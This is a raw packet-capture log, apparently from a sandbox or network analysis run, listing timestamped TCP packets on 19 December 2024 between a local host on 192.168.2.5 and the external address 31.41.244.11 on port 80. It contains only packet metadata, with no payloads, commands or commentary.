Dec 19, 2024 03:09:16.312114000 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.312925100 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.313038111 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.313085079 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.313890934 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.314004898 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.314050913 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.314874887 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.314945936 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.314989090 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.315042973 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.315882921 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.315938950 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.315975904 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.316025972 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.316833973 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.316915035 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.316977024 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.317034006 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.317815065 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.317863941 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.318018913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.318099976 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.318842888 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.318901062 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.318947077 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.319775105 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.319829941 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.319881916 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.319932938 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.320760012 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.320807934 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.320885897 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.320935965 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.321731091 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.321810961 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.321846962 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.321928978 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.322712898 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.322763920 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.322807074 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.322853088 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.323694944 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.323808908 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.323815107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.323872089 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.324682951 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.324798107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.324846983 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.325664997 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.325738907 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.325774908 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.325823069 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.326625109 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.326673031 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.326726913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.326776028 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.327606916 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.327658892 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.327718973 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.327780008 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.328624010 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.328674078 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.328782082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.328831911 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.329586029 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.329639912 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.329684019 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.329730034 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.330599070 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.330650091 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.330701113 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.330751896 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.331541061 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.331653118 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.331701994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.332508087 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.332554102 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.332633972 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.332684040 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.333491087 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.333540916 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.333584070 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.333939075 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.334460020 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.334526062 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.334563017 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.334609985 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.335468054 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.335519075 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.335652113 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.335711956 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.336430073 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.336479902 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.336520910 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.337425947 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.337485075 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.337527990 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.337580919 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.340759993 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.340811014 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.342127085 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.342143059 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.342158079 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.342173100 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.342176914 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.342191935 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.342199087 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.342240095 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.342262030 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.342267036 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.342600107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.342648983 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.343580008 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.343631029 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.343749046 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.343800068 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.344634056 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.344685078 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.344786882 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.344830036 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.345478058 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.345525980 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.345681906 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.345738888 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.346566916 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.346647024 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.346736908 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.346784115 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.347593069 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.347609043 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.347655058 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.348392963 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.348721981 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.348772049 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.349390984 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.349440098 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.491883039 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.491903067 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.491920948 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.491981983 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.492001057 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.492043018 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.492089033 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.492826939 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.492887974 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.492995977 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.493052959 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.493859053 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.493916035 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.494020939 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.494077921 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.494842052 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.494895935 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.494977951 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.495029926 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.495708942 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.495724916 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.495768070 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.495770931 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.495784998 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.495819092 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.495861053 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.496299982 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.496357918 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.496480942 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.496536970 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.497411013 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.497467041 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.497591019 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.497646093 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.498123884 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.498141050 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.498187065 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.498480082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.498536110 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.498837948 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.498895884 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.499392033 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.499447107 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.499566078 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.499619007 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.500406981 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.500422955 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.500462055 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.500489950 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.501199961 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.501256943 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.501576900 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.501633883 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.502118111 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.502135038 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.502180099 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.502204895 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.503372908 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.503432035 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.503534079 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.503588915 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.504625082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.504683971 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.505413055 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.505474091 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.506145954 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.506206036 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.506306887 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.506362915 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.507245064 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.507261992 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.507302046 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.507333994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.508049965 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.508106947 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.508232117 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.508287907 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.509095907 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.509177923 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.509202957 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.509217978 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.509233952 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.509253025 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.509284973 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.509763002 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.509821892 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.509865999 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.509922981 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.510781050 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.510839939 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.510874033 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.510931015 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.511718035 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.511775017 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.511835098 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.511889935 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.512717009 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.512774944 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.512819052 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.512881041 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.513688087 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.513742924 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.513784885 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.513842106 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.514651060 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.514709949 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.514767885 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.514822960 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.515935898 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.515952110 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.515997887 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.516638041 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.516695976 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.516748905 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.516805887 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.517601013 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.517707109 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.517776012 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.518564939 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.518640041 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.518728971 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.518790007 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.519558907 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.519629955 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.519704103 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.519764900 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.520524025 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.520591974 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.520636082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.520695925 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.521513939 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.521579981 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.521624088 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.521676064 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.522510052 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.522571087 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.522617102 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.522677898 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.523493052 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.523551941 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.523596048 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.523652077 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.524454117 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.524509907 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.524554968 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.524610043 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.525435925 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.525537014 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.525614023 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.526417971 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.526531935 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.526606083 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.527391911 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.527470112 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.527504921 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.527595997 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.528371096 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.528436899 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.528486967 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.528546095 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.529356003 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.529431105 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.529458046 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.529546976 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.530327082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.530459881 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.530533075 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.531328917 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.531399965 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.531413078 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.531471968 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.532282114 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.532356977 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.532419920 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.532478094 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.533266068 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.533329964 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.533364058 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.533415079 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.534244061 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.534360886 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.534415960 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.535227060 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.535279036 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.535339117 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.535392046 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.536195040 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.536247015 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.536322117 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.537178993 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.537245035 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.537280083 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.537336111 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.538171053 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.538300037 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.538362026 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.539145947 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.539203882 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.539249897 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.539303064 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.540108919 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:16.540164948 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:16.681176901 CET	80	49835	31.41.244.11	192.168.2.5
